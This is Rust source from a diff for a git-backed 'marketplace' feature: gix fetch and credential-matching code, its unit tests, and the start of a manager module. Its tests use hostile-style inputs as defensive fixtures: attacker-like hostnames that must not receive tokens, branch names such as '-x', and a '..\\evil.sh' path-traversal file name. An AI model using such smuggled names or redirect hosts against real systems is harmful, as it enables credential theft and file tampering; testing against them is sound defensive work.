let wanted = gix::credentials::protocol::Context::from_url(url, Default::default());
|
||||
match (credential_origin(ctx), credential_origin(&wanted)) {
|
||||
(Some(asked), Some(wanted)) => asked == wanted,
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Init the bare repo if missing, fetch `branch` (or the remote's default
|
||||
/// branch) into [`HEAD_REF`], and return the head commit hex.
|
||||
pub fn fetch(
|
||||
repo_path: &Path,
|
||||
url: &str,
|
||||
branch: Option<&str>,
|
||||
cred: Option<Credential>,
|
||||
) -> Result<String, FetchError> {
|
||||
let refspec = match branch {
|
||||
Some(b) if !valid_branch(b) => {
|
||||
return Err(FetchError::Other(format!(
|
||||
"{:?} is not a valid branch name",
|
||||
b
|
||||
)));
|
||||
}
|
||||
Some(b) => format!("+refs/heads/{}:{}", b, HEAD_REF),
|
||||
None => format!("+HEAD:{}", HEAD_REF),
|
||||
};
|
||||
let repo = open_or_init(repo_path)?;
|
||||
let remote = repo
|
||||
.remote_at(url)
|
||||
.map_err(|e| FetchError::Other(format!("Invalid repository URL: {}", e)))?
|
||||
.with_refspecs([refspec.as_str()], gix::remote::Direction::Fetch)
|
||||
.map_err(|e| FetchError::Other(format!("Invalid refspec: {}", e)))?;
|
||||
let own_url = url.to_string();
|
||||
let connection = remote
|
||||
.connect(gix::remote::Direction::Fetch)
|
||||
.map_err(classify)?
|
||||
.with_credentials(move |action| match (action, &cred) {
|
||||
(gix::credentials::helper::Action::Get(ctx), Some(c))
|
||||
if credential_matches(&ctx, &own_url) =>
|
||||
{
|
||||
Ok(Some(gix::credentials::protocol::Outcome {
|
||||
identity: gix::sec::identity::Account {
|
||||
username: c.username.clone(),
|
||||
password: c.password.clone(),
|
||||
oauth_refresh_token: None,
|
||||
},
|
||||
next: gix::credentials::helper::NextAction::from(ctx),
|
||||
}))
|
||||
}
|
||||
_ => Ok(None),
|
||||
});
|
||||
connection
|
||||
.prepare_fetch(gix::progress::Discard, Default::default())
|
||||
.map_err(classify)?
|
||||
.receive(gix::progress::Discard, &AtomicBool::new(false))
|
||||
.map_err(classify)?;
|
||||
cached_head(repo_path)
|
||||
.map_err(FetchError::Other)?
|
||||
.ok_or_else(|| FetchError::Other("The remote did not return a branch to fetch".to_string()))
|
||||
}
|
||||
|
||||
/// Current [`HEAD_REF`], if fetched before.
|
||||
pub fn cached_head(repo_path: &Path) -> Result<Option<String>, String> {
|
||||
if !repo_path.exists() {
|
||||
return Ok(None);
|
||||
}
|
||||
let repo =
|
||||
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
|
||||
let reference = repo
|
||||
.try_find_reference(HEAD_REF)
|
||||
.map_err(|e| format!("Could not read {}: {}", HEAD_REF, e))?;
|
||||
match reference {
|
||||
None => Ok(None),
|
||||
Some(mut r) => {
|
||||
let id = r
|
||||
.peel_to_id()
|
||||
.map_err(|e| format!("Could not resolve {}: {}", HEAD_REF, e))?;
|
||||
Ok(Some(id.to_string()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn has_commit(repo_path: &Path, commit: &str) -> bool {
|
||||
let Ok(repo) = gix::open(repo_path) else {
|
||||
return false;
|
||||
};
|
||||
let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
|
||||
return false;
|
||||
};
|
||||
// Bound before returning: the `Result<Commit<'_>>` temporary borrows
|
||||
// `repo` and must drop first (pre-flight F1, E0597 as a tail expression).
|
||||
let found = repo.find_commit(oid).is_ok();
|
||||
found
|
||||
}
|
||||
|
||||
/// Make `refs/triple-c/pins/*` exactly the given set (commits missing from
|
||||
/// the cache are skipped), so pinned commits survive later fetches.
|
||||
pub fn set_pins(repo_path: &Path, commits: &[String]) -> Result<(), String> {
|
||||
let repo =
|
||||
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
|
||||
let wanted: std::collections::BTreeSet<&str> = commits.iter().map(String::as_str).collect();
|
||||
|
||||
let mut existing = Vec::new();
|
||||
let platform = repo
|
||||
.references()
|
||||
.map_err(|e| format!("Could not list refs: {}", e))?;
|
||||
for reference in platform
|
||||
.prefixed(PIN_PREFIX)
|
||||
.map_err(|e| format!("Could not list pins: {}", e))?
|
||||
{
|
||||
let reference = reference.map_err(|e| format!("Could not read a pin: {:?}", e))?;
|
||||
existing.push(reference.name().as_bstr().to_string());
|
||||
}
|
||||
|
||||
for name in &existing {
|
||||
let commit = name.trim_start_matches(PIN_PREFIX);
|
||||
if !wanted.contains(commit) {
|
||||
if let Some(r) = repo
|
||||
.try_find_reference(name.as_str())
|
||||
.map_err(|e| format!("Could not read {}: {}", name, e))?
|
||||
{
|
||||
r.delete()
|
||||
.map_err(|e| format!("Could not remove {}: {}", name, e))?;
|
||||
}
|
||||
}
|
||||
}
|
||||
for commit in wanted {
|
||||
let name = format!("{}{}", PIN_PREFIX, commit);
|
||||
if existing.contains(&name) {
|
||||
continue;
|
||||
}
|
||||
let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
|
||||
continue;
|
||||
};
|
||||
if repo.find_commit(oid).is_err() {
|
||||
continue;
|
||||
}
|
||||
repo.reference(
|
||||
name.as_str(),
|
||||
oid,
|
||||
gix::refs::transaction::PreviousValue::Any,
|
||||
"triple-c pin",
|
||||
)
|
||||
.map_err(|e| format!("Could not pin {}: {}", commit, e))?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
pub(crate) mod test_support {
|
||||
//! Fixture repos built with the git CLI. Tests that need one call
|
||||
//! [`git_available`] first and return early without it.
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
|
||||
pub fn git_available() -> bool {
|
||||
Command::new("git")
|
||||
.arg("--version")
|
||||
.output()
|
||||
.map(|o| o.status.success())
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
pub fn git(dir: &Path, args: &[&str]) -> String {
|
||||
let out = Command::new("git")
|
||||
.args([
|
||||
"-c",
|
||||
"user.name=t",
|
||||
"-c",
|
||||
"user.email=t@example.invalid",
|
||||
"-c",
|
||||
"init.defaultBranch=main",
|
||||
])
|
||||
.args(args)
|
||||
.current_dir(dir)
|
||||
.output()
|
||||
.expect("git runs");
|
||||
assert!(
|
||||
out.status.success(),
|
||||
"git {:?}: {}",
|
||||
args,
|
||||
String::from_utf8_lossy(&out.stderr)
|
||||
);
|
||||
String::from_utf8_lossy(&out.stdout).trim().to_string()
|
||||
}
|
||||
|
||||
/// Write `files` (path, contents, executable) into a new repo and commit.
|
||||
pub fn init_repo(dir: &Path, files: &[(&str, &str, bool)]) -> String {
|
||||
git(dir, &["init", "-q"]);
|
||||
commit_files(dir, files, "initial")
|
||||
}
|
||||
|
||||
pub fn commit_files(dir: &Path, files: &[(&str, &str, bool)], message: &str) -> String {
|
||||
for (path, contents, exec) in files {
|
||||
let full = dir.join(path);
|
||||
std::fs::create_dir_all(full.parent().unwrap()).unwrap();
|
||||
std::fs::write(&full, contents).unwrap();
|
||||
#[cfg(unix)]
|
||||
if *exec {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
std::fs::set_permissions(&full, std::fs::Permissions::from_mode(0o755)).unwrap();
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
let _ = exec;
|
||||
}
|
||||
git(dir, &["add", "-A"]);
|
||||
git(dir, &["commit", "-q", "-m", message]);
|
||||
git(dir, &["rev-parse", "HEAD"])
|
||||
}
|
||||
|
||||
pub fn file_url(dir: &Path) -> String {
|
||||
format!("file://{}", dir.display())
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::test_support::*;
|
||||
use super::*;
|
||||
use crate::marketplace::tree::{GitTree, TreeView};
|
||||
|
||||
#[test]
|
||||
fn fetch_error_mapping() {
|
||||
let cases = [
|
||||
("Credentials provided for \"https://x\" were not accepted by the remote\n└─ Received HTTP status 401", FetchError::Auth { status: 401 }),
|
||||
("handshake\n└─ Received HTTP status 403", FetchError::Auth { status: 403 }),
|
||||
("└─ Received HTTP status 404", FetchError::NotFound),
|
||||
("remote: Repository not found.", FetchError::NotFound),
|
||||
// What gix actually reports for an anonymous fetch of a private
|
||||
// (or missing) GitHub/GitLab repo (pre-flight F2).
|
||||
(
|
||||
"No credentials were returned at all as if the credential helper isn't functioning unknowingly, at /home/u/.cargo/registry/src/index/gix-protocol-0.1/src/handshake/function.rs:70",
|
||||
FetchError::Auth { status: 401 },
|
||||
),
|
||||
];
|
||||
for (text, want) in cases {
|
||||
assert_eq!(classify_fetch_error(text), want, "{}", text);
|
||||
}
|
||||
assert!(matches!(
|
||||
classify_fetch_error("error sending request\n└─ dns error: failed to lookup address"),
|
||||
FetchError::Network(_)
|
||||
));
|
||||
assert!(matches!(
|
||||
classify_fetch_error("operation timed out"),
|
||||
FetchError::Network(_)
|
||||
));
|
||||
assert!(matches!(
|
||||
classify_fetch_error("something odd"),
|
||||
FetchError::Other(_)
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fetch_error_text_drops_source_locations_and_names_the_network_cause() {
|
||||
// Pre-flight F2: gix appends ", at <cargo registry path>:<line>";
|
||||
// the innermost `└─` line is the useful network cause.
|
||||
let chain = "Transport handshake failed, at /home/u/.cargo/registry/src/x/handshake/function.rs:40\n\
|
||||
├─ An IO error occurred when talking to the server, at /home/u/.cargo/y.rs:12\n\
|
||||
└─ error resolving DNS, at /home/u/.cargo/z.rs:9";
|
||||
assert_eq!(
|
||||
classify_fetch_error(chain),
|
||||
FetchError::Network("error resolving DNS".to_string())
|
||||
);
|
||||
let refused = "Transport handshake failed, at /home/u/.cargo/a.rs:1\n└─ Connection refused (os error 111)";
|
||||
assert_eq!(
|
||||
classify_fetch_error(refused),
|
||||
FetchError::Network("Connection refused (os error 111)".to_string())
|
||||
);
|
||||
assert_eq!(
|
||||
classify_fetch_error("Something odd, at /home/u/.cargo/b.rs:3\n└─ deeper"),
|
||||
FetchError::Other("Something odd".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn credential_debug_never_shows_the_password() {
|
||||
let c = Credential {
|
||||
username: "u".into(),
|
||||
password: "test-token-not-real".into(),
|
||||
};
|
||||
let shown = format!("{:?}", c);
|
||||
assert!(!shown.contains("test-token-not-real"));
|
||||
assert!(shown.contains("<redacted>"));
|
||||
}
|
||||
|
||||
/// Final review M1: the token goes only to the marketplace's own scheme,
|
||||
/// host and port — never to a host the handshake was redirected to.
|
||||
#[test]
|
||||
fn credentials_are_offered_only_to_the_marketplace_host() {
|
||||
use gix::credentials::protocol::Context;
|
||||
let url = "https://git.example.com/org/repo.git";
|
||||
let ctx = |u: &str| Context::from_url(u, Default::default());
|
||||
|
||||
assert!(credential_matches(&ctx(url), url));
|
||||
assert!(credential_matches(
|
||||
&ctx("https://git.example.com/other/path.git"),
|
||||
url
|
||||
));
|
||||
assert!(credential_matches(
|
||||
&ctx("https://GIT.example.com/org/repo.git"),
|
||||
url
|
||||
));
|
||||
assert!(credential_matches(
|
||||
&ctx("https://git.example.com:443/org/repo.git"),
|
||||
url
|
||||
));
|
||||
for other in [
|
||||
"https://evil.example.net/org/repo.git",
|
||||
"https://git.example.com.evil.net/org/repo.git",
|
||||
"https://git.example.com:8443/org/repo.git",
|
||||
"http://git.example.com/org/repo.git",
|
||||
] {
|
||||
assert!(!credential_matches(&ctx(other), url), "{other}");
|
||||
}
|
||||
let with_port = "https://git.example.com:8443/org/repo.git";
|
||||
assert!(credential_matches(&ctx(with_port), with_port));
|
||||
assert!(!credential_matches(&ctx(url), with_port));
|
||||
// A request that names no host gets nothing.
|
||||
assert!(!credential_matches(&Context::default(), url));
|
||||
let host_only = Context {
|
||||
protocol: Some("https".into()),
|
||||
host: Some("git.example.com".into()),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(credential_matches(&host_only, url));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn refuses_unsafe_branch_names() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
for bad in ["-x", "a..b", "a b", "a:b", "x*", "a.lock", ""] {
|
||||
let err = fetch(
|
||||
&dir.path().join("c.git"),
|
||||
"file:///nowhere",
|
||||
Some(bad),
|
||||
None,
|
||||
)
|
||||
.unwrap_err();
|
||||
assert!(
|
||||
matches!(err, FetchError::Other(ref m) if m.contains("branch")),
|
||||
"{bad:?}: {err:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn valid_branch_accepts_ordinary_names() {
|
||||
// pub(crate) so the add-marketplace form validates with the same rule
|
||||
// the fetch applies (pre-flight F13).
|
||||
for good in ["main", "release/1.2", "feature_x", "v2.0-rc.1"] {
|
||||
assert!(valid_branch(good), "{good:?}");
|
||||
}
|
||||
for bad in [
|
||||
"/main", "main/", "a//b", "x.lock", "-x", "a..b", "a b", "a\\b",
|
||||
] {
|
||||
assert!(!valid_branch(bad), "{bad:?}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fetches_default_branch_then_updates() {
|
||||
if !git_available() {
|
||||
return;
|
||||
}
|
||||
let src = tempfile::tempdir().unwrap();
|
||||
let first = init_repo(
|
||||
src.path(),
|
||||
&[
|
||||
("agents/a.md", "one", false),
|
||||
("hooks/h/run.sh", "#!/bin/sh", true),
|
||||
],
|
||||
);
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let repo = cache_path(cache.path(), "m1");
|
||||
|
||||
assert_eq!(cached_head(&repo).unwrap(), None);
|
||||
let head = fetch(&repo, &file_url(src.path()), None, None).unwrap();
|
||||
assert_eq!(head, first);
|
||||
assert_eq!(cached_head(&repo).unwrap(), Some(first.clone()));
|
||||
assert!(has_commit(&repo, &first));
|
||||
|
||||
let tree = GitTree::open(&repo, &first).unwrap();
|
||||
assert_eq!(tree.read_file("agents/a.md").unwrap().unwrap(), b"one");
|
||||
let hook = tree.list_dir("hooks/h").unwrap().unwrap();
|
||||
assert!(hook[0].executable);
|
||||
assert!(tree.entry_id("agents/a.md").unwrap().is_some());
|
||||
assert_eq!(tree.list_dir("agents/a.md").unwrap(), None);
|
||||
|
||||
let second = commit_files(src.path(), &[("agents/a.md", "two", false)], "second");
|
||||
assert_eq!(
|
||||
fetch(&repo, &file_url(src.path()), None, None).unwrap(),
|
||||
second
|
||||
);
|
||||
// The old commit is still readable after the update.
|
||||
assert_eq!(
|
||||
GitTree::open(&repo, &first)
|
||||
.unwrap()
|
||||
.read_file("agents/a.md")
|
||||
.unwrap()
|
||||
.unwrap(),
|
||||
b"one"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fetches_a_named_branch() {
|
||||
if !git_available() {
|
||||
return;
|
||||
}
|
||||
let src = tempfile::tempdir().unwrap();
|
||||
init_repo(src.path(), &[("a.md", "main", false)]);
|
||||
git(src.path(), &["checkout", "-q", "-b", "next"]);
|
||||
let next = commit_files(src.path(), &[("a.md", "next", false)], "next");
|
||||
git(src.path(), &["checkout", "-q", "main"]);
|
||||
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let repo = cache_path(cache.path(), "m1");
|
||||
assert_eq!(
|
||||
fetch(&repo, &file_url(src.path()), Some("next"), None).unwrap(),
|
||||
next
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn missing_repo_is_an_error_not_a_panic() {
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let err = fetch(
|
||||
&cache_path(cache.path(), "m"),
|
||||
"file:///definitely/not/here",
|
||||
None,
|
||||
None,
|
||||
)
|
||||
.unwrap_err();
|
||||
assert!(!matches!(err, FetchError::Auth { .. }), "{err:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn refused_connection_is_a_network_error_without_source_paths() {
|
||||
// Port 1 on loopback: refused immediately, no real network involved.
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let err = fetch(
|
||||
&cache_path(cache.path(), "m"),
|
||||
"https://127.0.0.1:1/x.git",
|
||||
None,
|
||||
None,
|
||||
)
|
||||
.unwrap_err();
|
||||
match err {
|
||||
FetchError::Network(m) => assert!(!m.contains(", at /"), "{m}"),
|
||||
other => panic!("expected a network error, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn has_commit_is_false_for_unknown_or_malformed_ids() {
|
||||
if !git_available() {
|
||||
return;
|
||||
}
|
||||
let src = tempfile::tempdir().unwrap();
|
||||
init_repo(src.path(), &[("x", "1", false)]);
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let repo = cache_path(cache.path(), "m");
|
||||
fetch(&repo, &file_url(src.path()), None, None).unwrap();
|
||||
assert!(!has_commit(&repo, &"f".repeat(40)));
|
||||
assert!(!has_commit(&repo, "not-hex"));
|
||||
assert!(!has_commit(
|
||||
&cache.path().join("absent.git"),
|
||||
&"f".repeat(40)
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pins_are_exactly_the_requested_set() {
|
||||
if !git_available() {
|
||||
return;
|
||||
}
|
||||
let src = tempfile::tempdir().unwrap();
|
||||
let a = init_repo(src.path(), &[("x", "1", false)]);
|
||||
let b = commit_files(src.path(), &[("x", "2", false)], "b");
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let repo = cache_path(cache.path(), "m");
|
||||
fetch(&repo, &file_url(src.path()), None, None).unwrap();
|
||||
|
||||
set_pins(&repo, &[a.clone(), b.clone(), "f".repeat(40)]).unwrap();
|
||||
let pins = |repo: &Path| -> Vec<String> {
|
||||
let r = gix::open(repo).unwrap();
|
||||
let mut names: Vec<String> = r
|
||||
.references()
|
||||
.unwrap()
|
||||
.prefixed(PIN_PREFIX)
|
||||
.unwrap()
|
||||
.map(|x| x.unwrap().name().as_bstr().to_string())
|
||||
.collect();
|
||||
names.sort();
|
||||
names
|
||||
};
|
||||
let mut want = vec![
|
||||
format!("{}{}", PIN_PREFIX, a),
|
||||
format!("{}{}", PIN_PREFIX, b),
|
||||
];
|
||||
want.sort();
|
||||
assert_eq!(pins(&repo), want);
|
||||
|
||||
set_pins(&repo, std::slice::from_ref(&b)).unwrap();
|
||||
assert_eq!(pins(&repo), vec![format!("{}{}", PIN_PREFIX, b)]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn git_tree_entry_with_a_backslash_marks_the_item_invalid() {
|
||||
// Task 3 review: a real git tree (not MemTree) whose entry name
|
||||
// contains `\` must make the catalog reject the item. git itself
|
||||
// refuses `/` in names, so `\` is the separator that can get through.
|
||||
if !git_available() {
|
||||
return;
|
||||
}
|
||||
let src = tempfile::tempdir().unwrap();
|
||||
init_repo(src.path(), &[("skills/ok/SKILL.md", "fine", false)]);
|
||||
let evil = commit_files(
|
||||
src.path(),
|
||||
&[
|
||||
("skills/s/SKILL.md", "x", false),
|
||||
("skills/s/..\\evil.sh", "boom", false),
|
||||
],
|
||||
"evil",
|
||||
);
|
||||
let cache = tempfile::tempdir().unwrap();
|
||||
let repo = cache_path(cache.path(), "m");
|
||||
assert_eq!(
|
||||
fetch(&repo, &file_url(src.path()), None, None).unwrap(),
|
||||
evil
|
||||
);
|
||||
|
||||
let tree = GitTree::open(&repo, &evil).unwrap();
|
||||
let names: Vec<String> = tree
|
||||
.list_dir("skills/s")
|
||||
.unwrap()
|
||||
.unwrap()
|
||||
.into_iter()
|
||||
.map(|e| e.name)
|
||||
.collect();
|
||||
assert!(names.contains(&"..\\evil.sh".to_string()), "{names:?}");
|
||||
|
||||
let items = crate::marketplace::catalog::parse_catalog(&tree);
|
||||
let skill = items.iter().find(|i| i.key == "s").unwrap();
|
||||
assert!(skill.invalid.is_some(), "{skill:?}");
|
||||
let ok = items.iter().find(|i| i.key == "ok").unwrap();
|
||||
assert!(ok.invalid.is_none(), "{ok:?}");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,775 @@
|
||||
//! Marketplaces: git repos of agents, skills, commands, hooks and plugins that
|
||||
//! are fetched on the host and synced into containers. See
|
||||
//! `docs/superpowers/specs/2026-09-27-marketplace-design.md`.
|
||||
|
||||
pub mod auth;
|
||||
pub mod catalog;
|
||||
pub mod diff;
|
||||
pub mod gh_login;
|
||||
pub mod git;
|
||||
pub mod payload;
|
||||
pub mod sync;
|
||||
pub mod tree;
|
||||
#[cfg(test)]
|
||||
mod sync_script_tests;
|
||||
#[cfg(test)]
|
||||
pub(crate) mod test_support;
|
||||
|
||||
use std::collections::{BTreeSet, HashMap};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
use tauri::Emitter;
|
||||
use tokio::sync::oneshot;
|
||||
|
||||
use crate::models::marketplace::{
|
||||
effective_installs, CatalogItem, ItemUpdate, Marketplace, MarketplaceInstall, MarketplaceSnapshot, SyncReport,
|
||||
};
|
||||
use crate::models::{AppSettings, Project};
|
||||
use catalog::{item_fingerprint, parse_catalog};
|
||||
use tree::GitTree;
|
||||
|
||||
/// Emitted after every container sync, payload `{ project_id, report }`.
|
||||
pub const SYNC_FINISHED_EVENT: &str = "marketplace-sync-finished";
|
||||
|
||||
pub struct MarketplaceManager {
|
||||
data_root: PathBuf,
|
||||
snapshots: Mutex<HashMap<String, MarketplaceSnapshot>>,
|
||||
reports: Mutex<HashMap<String, SyncReport>>,
|
||||
gh_login_cancel: tokio::sync::Mutex<Option<oneshot::Sender<()>>>,
|
||||
/// Serialises writers of the bare caches (fetch, pins, cache removal) so
|
||||
/// concurrent refreshes never race on gix ref locks (pre-flight F11a).
|
||||
repo_lock: tokio::sync::Mutex<()>,
|
||||
/// One lock per project, held for a whole `sync_project`, so a start sync
|
||||
/// and Apply now never run `sync.sh` in one container at once (F11b).
|
||||
sync_locks: Mutex<HashMap<String, Arc<tokio::sync::Mutex<()>>>>,
|
||||
}
|
||||
|
||||
/// Project ids become file names; anything outside this set is not persisted.
|
||||
fn safe_file_stem(id: &str) -> bool {
|
||||
!id.is_empty()
|
||||
&& id.len() <= 128
|
||||
&& id
|
||||
.chars()
|
||||
.all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_')
|
||||
}
|
||||
|
||||
impl MarketplaceManager {
|
||||
/// `data_root` is `<data_dir>/triple-c`.
|
||||
pub fn new(data_root: PathBuf) -> Self {
|
||||
Self {
|
||||
data_root,
|
||||
snapshots: Mutex::new(HashMap::new()),
|
||||
reports: Mutex::new(HashMap::new()),
|
||||
gh_login_cancel: tokio::sync::Mutex::new(None),
|
||||
repo_lock: tokio::sync::Mutex::new(()),
|
||||
sync_locks: Mutex::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn data_root(&self) -> &Path {
|
||||
&self.data_root
|
||||
}
|
||||
|
||||
/// Hold while writing to any marketplace cache (fetch, `git::set_pins`,
|
||||
/// removing a cache).
|
||||
pub fn repo_lock(&self) -> &tokio::sync::Mutex<()> {
|
||||
&self.repo_lock
|
||||
}
|
||||
|
||||
/// The project's sync lock; see `sync_project`.
|
||||
pub fn sync_lock(&self, project_id: &str) -> Arc<tokio::sync::Mutex<()>> {
|
||||
self.sync_locks
|
||||
.lock()
|
||||
.unwrap()
|
||||
.entry(project_id.to_string())
|
||||
.or_default()
|
||||
.clone()
|
||||
}
|
||||
|
||||
pub fn snapshot(&self, marketplace_id: &str) -> Option<MarketplaceSnapshot> {
|
||||
self.snapshots.lock().unwrap().get(marketplace_id).cloned()
|
||||
}
|
||||
|
||||
pub fn put_snapshot(&self, snap: MarketplaceSnapshot) {
|
||||
self.snapshots
|
||||
.lock()
|
||||
.unwrap()
|
||||
.insert(snap.marketplace_id.clone(), snap);
|
||||
}
|
||||
|
||||
pub fn remove_snapshot(&self, marketplace_id: &str) {
|
||||
self.snapshots.lock().unwrap().remove(marketplace_id);
|
||||
}
|
||||
|
||||
fn report_path(&self, project_id: &str) -> PathBuf {
|
||||
self.data_root
|
||||
.join("marketplace-sync")
|
||||
.join(format!("{project_id}.json"))
|
||||
}
|
||||
|
||||
pub fn report(&self, project_id: &str) -> Option<SyncReport> {
|
||||
if let Some(r) = self.reports.lock().unwrap().get(project_id) {
|
||||
return Some(r.clone());
|
||||
}
|
||||
if !safe_file_stem(project_id) {
|
||||
return None;
|
||||
}
|
||||
let text = std::fs::read_to_string(self.report_path(project_id)).ok()?;
|
||||
let report: SyncReport = serde_json::from_str(&text).ok()?;
|
||||
self.reports
|
||||
.lock()
|
||||
.unwrap()
|
||||
.insert(project_id.to_string(), report.clone());
|
||||
Some(report)
|
||||
}
|
||||
|
||||
pub fn put_report(&self, project_id: &str, report: SyncReport) {
|
||||
self.reports
|
||||
.lock()
|
||||
.unwrap()
|
||||
.insert(project_id.to_string(), report.clone());
|
||||
if !safe_file_stem(project_id) {
|
||||
return;
|
||||
}
|
||||
let path = self.report_path(project_id);
|
||||
let write = || -> std::io::Result<()> {
|
||||
std::fs::create_dir_all(path.parent().unwrap())?;
|
||||
let tmp = path.with_extension("json.tmp");
|
||||
std::fs::write(&tmp, serde_json::to_vec_pretty(&report).unwrap_or_default())?;
|
||||
std::fs::rename(&tmp, &path)
|
||||
};
|
||||
if let Err(e) = write() {
|
||||
log::warn!(
|
||||
"Could not persist the marketplace sync report for {}: {}",
|
||||
project_id,
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Claim (`Some`) or release (`None`) the single gh-login slot. Claiming
|
||||
/// fails while another login holds it.
|
||||
pub async fn set_gh_login_cancel(&self, tx: Option<oneshot::Sender<()>>) -> bool {
|
||||
let mut slot = self.gh_login_cancel.lock().await;
|
||||
match tx {
|
||||
Some(tx) => {
|
||||
if slot.is_some() {
|
||||
return false;
|
||||
}
|
||||
*slot = Some(tx);
|
||||
true
|
||||
}
|
||||
None => {
|
||||
*slot = None;
|
||||
true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Free the slot after a login ends, but only if it still holds that
|
||||
/// login's sender (its receiver is gone once the login returns). A cancel
|
||||
/// may have emptied the slot and a newer login claimed it meanwhile; a
|
||||
/// plain `set_gh_login_cancel(None)` would drop that login's sender,
|
||||
/// which it reads as a cancel.
|
||||
pub async fn release_gh_login(&self) {
|
||||
let mut slot = self.gh_login_cancel.lock().await;
|
||||
if slot.as_ref().is_some_and(|tx| tx.is_closed()) {
|
||||
*slot = None;
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn cancel_gh_login(&self) {
|
||||
if let Some(tx) = self.gh_login_cancel.lock().await.take() {
|
||||
let _ = tx.send(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Head commit for a marketplace: the in-memory snapshot's, else the cache's.
|
||||
pub fn head_for(mgr: &MarketplaceManager, m: &Marketplace) -> Option<String> {
|
||||
mgr.snapshot(&m.id).and_then(|s| s.head_commit).or_else(|| {
|
||||
git::cached_head(&git::cache_path(mgr.data_root(), &m.id))
|
||||
.ok()
|
||||
.flatten()
|
||||
})
|
||||
}
|
||||
|
||||
fn parse_at(repo: &Path, commit: &str) -> Result<Vec<CatalogItem>, String> {
|
||||
let tree = GitTree::open(repo, commit)?;
|
||||
Ok(parse_catalog(&tree))
|
||||
}
|
||||
|
||||
/// Snapshot from the cache alone (no network): startup, and after an install
|
||||
/// when nothing is in memory. `fetched_at` stays `None`.
|
||||
pub fn load_cached_snapshot(
|
||||
mgr: &MarketplaceManager,
|
||||
marketplace: &Marketplace,
|
||||
) -> MarketplaceSnapshot {
|
||||
let repo = git::cache_path(mgr.data_root(), &marketplace.id);
|
||||
let mut snap = MarketplaceSnapshot {
|
||||
marketplace_id: marketplace.id.clone(),
|
||||
..Default::default()
|
||||
};
|
||||
match git::cached_head(&repo) {
|
||||
Ok(Some(head)) => match parse_at(&repo, &head) {
|
||||
Ok(items) => {
|
||||
snap.head_commit = Some(head);
|
||||
snap.items = items;
|
||||
}
|
||||
Err(e) => snap.fetch_error = Some(format!("The cached copy could not be read: {e}")),
|
||||
},
|
||||
Ok(None) => {}
|
||||
Err(e) => snap.fetch_error = Some(format!("The cached copy could not be read: {e}")),
|
||||
}
|
||||
snap
|
||||
}
|
||||
|
||||
/// Keep the previous items and head (in memory, else from the cache) and
|
||||
/// record why this refresh failed.
|
||||
fn failed_snapshot(
|
||||
mgr: &MarketplaceManager,
|
||||
m: &Marketplace,
|
||||
message: String,
|
||||
) -> MarketplaceSnapshot {
|
||||
let mut snap = mgr
|
||||
.snapshot(&m.id)
|
||||
.unwrap_or_else(|| load_cached_snapshot(mgr, m));
|
||||
snap.fetch_error = Some(message);
|
||||
mgr.put_snapshot(snap.clone());
|
||||
snap
|
||||
}
|
||||
|
||||
/// Refresh one marketplace: resolve the credential, fetch (blocking task, under
|
||||
/// the repo lock), parse the catalog at head and store the snapshot. On failure
|
||||
/// the previous items and head are kept and `fetch_error` is set.
|
||||
pub async fn refresh_marketplace(
|
||||
mgr: &MarketplaceManager,
|
||||
settings: &AppSettings,
|
||||
marketplace_id: &str,
|
||||
) -> MarketplaceSnapshot {
|
||||
let Some(m) = settings
|
||||
.marketplaces
|
||||
.iter()
|
||||
.find(|m| m.id == marketplace_id)
|
||||
.cloned()
|
||||
else {
|
||||
return MarketplaceSnapshot {
|
||||
marketplace_id: marketplace_id.to_string(),
|
||||
fetch_error: Some("This marketplace is no longer configured.".to_string()),
|
||||
..Default::default()
|
||||
};
|
||||
};
|
||||
let account = m
|
||||
.account_id
|
||||
.as_ref()
|
||||
.and_then(|id| settings.marketplace_accounts.iter().find(|a| &a.id == id))
|
||||
.cloned();
|
||||
let cred = match &account {
|
||||
Some(a) => match auth::resolve_credential(a).await {
|
||||
Ok(c) => Some(c),
|
||||
Err(e) => return failed_snapshot(mgr, &m, e),
|
||||
},
|
||||
None => None,
|
||||
};
|
||||
|
||||
let repo = git::cache_path(mgr.data_root(), &m.id);
